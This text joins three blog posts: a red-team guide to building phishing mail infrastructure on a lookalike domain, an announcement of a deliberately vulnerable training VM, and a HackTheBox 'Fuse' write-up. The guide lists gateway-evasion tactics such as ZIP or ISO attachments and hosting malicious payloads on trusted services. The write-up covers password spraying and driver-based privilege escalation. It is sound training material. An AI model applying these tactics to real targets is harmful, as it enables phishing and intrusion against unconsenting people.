2. Link online-notifications.net Domain with Zoho

Add onlin-notificaions.net domain and proceed

Domain added and I will procced to domain verification

Zoho has recognized that my domain is managed by Cloudflare and has provided the following TXT record and value to verify domain ownership.

Therefore, I will add this TXT record to the Cloudflare DNS setting and save it

Return to Zoho and click verify TXT record after adding it in cloud flare

3. Create a Mail User Account

Once the domain is verified and linked, I will create an admin user.

After user created in next page it will ask if I need more email users, I will click proceed to setup groups

In group settings I will click on proceed to DNS mapping

🔧 Step 2: Adding MX, SPF, DKIM, and DMARC Records on Cloudflare

1. Adding MX, SPF and DKIM records

• SPF (Sender Policy Framework) helps mail servers verify that our domain is authorized to send emails.
• DKIM (DomainKeys Identified Mail) adds a digital signature to our emails, improving authenticity.

After creating the admin user, I will proceed by adding the following records to the Cloudflare DNS settings, like the previous steps. This time, I will add MX and TXT records with their respective hosts, values and priority.

Then add them into the Cloudflare DNS as below.

Then click verify all records on Zoho

After click verify you will get the below verification (sometimes you need to wait some minutes until DNS update the settings)

Click on “Proceed to Email Migration,” then “Proceed to Go Mobile,” and finally “Proceed to Setup Completion.” Be sure to save the SMTP values provided, as we will need them later when configuring mail in GoPhish.

After that, the admin@online-notifications.net user will be created using the same password I used during the Zoho registration process.

2. Adding a DMARC Record

• DMARC (Domain-based Message Authentication, Reporting, and Conformance) specifies how receiving mail servers should handle SPF/DKIM failures. be sure you have a DKIM and SPF set before using DMARC.

Add a TXT record to your domain: type: TXT and Name: _dmarc and Value: v=DMARC1; p=none

• We selected DMARC version 1 with a “none” policy, ensuring no action is taken and email delivery remains unaffected.

DMARK policy option

• none: Monitor mode. No action is taken on emails that fail DMARC checks. This is typically used when setting up DMARC to monitor email traffic and gather reports without affecting delivery.
• quarantine: Suggests that emails failing DMARC checks should be marked as suspicious and moved to the spam/junk folder.
• reject: Instructs email receivers to reject emails that fail DMARC checks (they won’t be delivered).

🔒 Step 3: Implementing OPSEC Measures to Bypassing Mail Security Gateways

1. Test email security configuration score by mail-tester service

We will Mail-Tester service and it not only identifies issues but also provides actionable suggestions to improve your email deliverability and avoid spam filters.

Mail-Tester.com evaluates your email’s deliverability by checking:

• Email Authentication: Verifies SPF, DKIM, and DMARC records to ensure proper authentication.
• Spam Content: Analyzes for spammy language or formatting.
• Blacklist Status: Checks if your domain or IP is on spam blacklists.
• HTML/Text Balance: Ensures a proper ratio of HTML to plain text.
• Broken Links/Images: Verifies all links and images are functional.
• Embedded Images: Confirms images are properly hosted.
• Server Configuration: Checks reverse DNS, HELO, and email headers.
• IP Reputation: Assesses the reputation of your sending IP.
• HTML Quality: Ensures your email HTML code is clean and well-structured.
• Email Size: Verifies the email isn’t excessively large.
• DNS Records: Ensures your domain has correctly configured DNS records.

Visit https://www.mail-tester.com/. The site will provide an email address to send a test message.

Send an email from your mail account. For this example, I will send an empty message from admin@online-notifications.net. To do this, I will use Zoho Mail through the dashboard or directly access it via https://mail.zoho.sa/zm/.

After sending the email, return to the Mail Tester site and click “Check your score”.

Below is the result of the check:

2. Enhancing Email Credibility through Signature Collection Techniques

To increase the credibility of the email, it’s recommended to use some signature from an email from the client. some method to get the signature below:

• Send an email to a non-existent address and check if the response has any signature.
• Search for public emails like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response.
• Try to contact some valid discovered email and wait for the response

3. Other OPSEC to bypass Mail Security Gateways

• Check your email configuration by sending an email to check-auth@verifier.port25.com and reading the response
• You could also send message to a Gmail under your control, and check the email’s headers in your Gmail inbox, dkim=pass
• If spammed then Removing from Spamhouse Blacklist https://book.hacktricks.xyz/generic-methodologies-and-resources/www.mail-tester.com and from Microsoft Blacklist https://sender.office.com/
• Check domain also here: https://malwareworld.com/
• Warm up the domain by sending benign emails to multiple trusted recipients over time and if landed in spam mark it as not spam.
• Tailored Content: Avoid suspicious keywords in the email subject and body and if possible, personalize emails to the target (e.g., include the target’s name or role).
• Attachment Techniques; Use password-protected ZIP files with the password included in the email OR Use less common file extensions that evade detection (e.g., .iqy, .iso). (in next parts will show you delivery through zip and ISO and bypass MOTW)
• Domain Reputation: Regularly rotate domains and user accounts to avoid detection.
• Payload Delivery: Host malicious payloads on trusted services (e.g., Google Drive, Dropbox) to avoid suspicion.

Final thoughts

Linking our domain’s mail services with Zoho Mail and securing it with SPF, DKIM, and DMARC not only improves deliverability but also ensures a high degree of stealth in red team engagements. Coupled with strong OPSEC practices, this setup enables us to bypass mail security gateways effectively, giving an edge in executing phishing campaigns and other social engineering attacks.

Part 4: Advanced OSINT Techniques, Credential Harvesting, and Azure AD Password Spraying Tactics

if you find this blog useful, don’t forget to hit the clap button and follow the blog.

Certifications:
OSEC3, CRTL, CRTO, OSCP, OSEP, OSWE, OSED, eMAPT … Others

Follow me on LinkedIn & Twitter(X) to stay updated and to know new things.

Bye Bye, Take Care.

🛡️ Mastering Modern Red Teaming Infrastructure Part 3 — Securing Mail Services with DNS Records… was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

Source code review?

Source code review, also known as Security Code Review is the process of auditing the source code for an application to verify that the proper security controls are present, that they work as intended, and that they have been invoked in all the right places. Code review is a way of ensuring that the application has been developed so as to be “self-defending” in its given environment.

This box has been built to enrich the training resources for the Offensive Security Web Expert (OSWE) certificate, it also helps you to learn how to discover hidden vulnerabilities that can be missed during the regular penetration test (or black-box testing).
- Box Name: SecureCode1
- Programing Language: Native PHP
- Difficulty: EASY
it’s not solvable by pure black-box testing, you need to do a lot of source code review.

You’ve three objectives:
1. Bypass Authentication → flag1
2. Obtain Remote Command Execution → flag2
3. Write your PoC code that chains the exploitation of the discovered vulnerabilities, you can also send your PoC code to ahmed [at] sud0root.com if you wish to be added to the leaderboard👇

🏆 leaderboard:
A Contest leaderboard shows the points received by the participating players. Players need to meet the Contest rules criteria to participate and be shown in the Contest Leaderboard.

The Target VM on Vulnhub.com:
https://www.vulnhub.com/entry/securecode-1,651/

Alternatively, you can download the OVA from Mega.nz on link below: (Size: 2.0 GB)
https://mega.nz/file/b4xAVRAQ#IK8ujpYsGbwxoyA4aaNERMF80EPLkPX3fv7hksXF-M8

- MD5: 287f7979fdb3060bde224182a752ed18
- SHA1: 2b946f52d915ca74d1c7c84251435f8c8d92f2cb

- for setup see the below video:

it's going to be series of OSWE-like boxes.
The next boxes will be in java, nodejs, and some PHP frameworks.

if you have feedback or you need a hint, DM me @ahmed_eltijani

Best Luck

SecureCode1: an OSWE-like Machine was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.

Made by RebornSec ®

Fuse is windows box made up by egre55, this box a good practice in the advanced enumeration on Windows machines. Without further do let’s start our work :)

Enumeration phase :

As usual let’s start with the Nmap scan :

[~] Nmap -sC -sV 10.10.10.193

Several ports are open let’s start with port 80 (http)and this will lead you to this page :

http://fuse.fabricorp.local/papercut/logs/html/index.htm

We can’t reach our page, but we can add it into /etc/hosts:

http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020–05–30.csv

http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020-05-29.csv

http://fuse.fabricorp.local/papercut/logs/csv/daily/papercut-print-log-2020-06-10.csv

I found a username, sharing group for a printer in the file, and we already got the domain name from our Nmap scan (fabricorp.local):

Using Robin Wood tool to generate a wordlist using the page we got :

This the list i got :

Print
PaperCut
LETTER
DUPLEX
GRAYSCALE
Logger
LONWK
papercut
Excel
Notepad
sthompson
About
print
Pages
Copies
Printer
…

And wanted working group is fabricorp/bhult so let’s try smbclient using deferent combination of password but it seems that i can’t login :

After a while of searching i found a sysadmin asking for the way to change smb password :

Smbpasswd

Using the old password Fabricorp01 that we got using metasploit :

I can change the password now to my own :

Now lets use rpcclient to get information and maybe claim some credentials :

And here we got our password in plain text : $fab@s3Rv1ce$1

Let’s try to find out our user that we want to use our password on him :

We create a list of users and password, and we test it out with our tool Cme :

Our final credential is : svc-print:$fab@s3Rv1ce$1

We login using Evil-winrm :

And here we got our user.txt :)

Root phase :

If we check the files stored in directory of our user we notice the Capcom.sys file :

Also checking whoami /all :

For that we going to use :

tandasat/ExploitCapcom

And since our user had SeLoadDriverPrivilege we use both to proc our shell :

And there you go you got full NT Authority :)

Fuse Writeup — HackTheBox was originally published in SUDOROOT on Medium, where people are continuing the conversation by highlighting and responding to this story.